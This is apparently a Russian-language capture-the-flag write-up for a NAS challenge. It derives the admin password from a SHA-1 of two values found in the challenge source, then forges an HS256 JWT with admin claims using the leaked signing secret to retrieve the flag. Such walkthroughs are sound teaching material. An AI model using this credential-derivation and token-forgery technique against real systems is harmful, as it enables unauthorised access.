Files
Kubok-Regionov/GAME/nas/writeup.md
2025-12-22 05:19:38 +03:00

1.5 KiB
Raw Blame History

Writeup для NAS (русская версия)

Цель

Зайти в хранилище

1 Задание Посчитать пароль админа и войти

Пароль админа — первые 12 символов:

sha1(KETTLE_PROOF + ":" + PRINTER_PROOF) находим из исходников репозитория 
Входим

Пример:

import hashlib

admin_pass = hashlib.sha1(f"{KETTLE_PROOF}:{PRINTER_PROOF}".encode()).hexdigest()[:12]
print(admin_pass)

Логин: /login с:

username=admin
password=<admin_pass>

Сохраните cookie sid из ответа. Получаем доступ к файлу .wav Дальше решение из папки Stegano.

2 задание Сковать bearer JWT и забрать финальный флаг

/admin/flag требует:

  • cookie sid (админская сессия)
  • Authorization: Bearer <jwt>

Ограничения на payload:

  • role: "admin"
  • kpf: <KETTLE_PROOF>
  • aud: "nas-admin"
  • iat: текущее UNIXвремя (допуск примерно ±120 сек)

Пример:

import time, jwt

payload = {
  "role": "admin",
  "kpf": KETTLE_PROOF,
  "aud": "nas-admin",
  "iat": int(time.time()),
}
token = jwt.encode(payload, JWT_SECRET, algorithm="HS256")
print(token)

Запрос:

GET /admin/flag
Cookie: sid=<sid>
Authorization: Bearer <token>

В ответе — финальный флаг.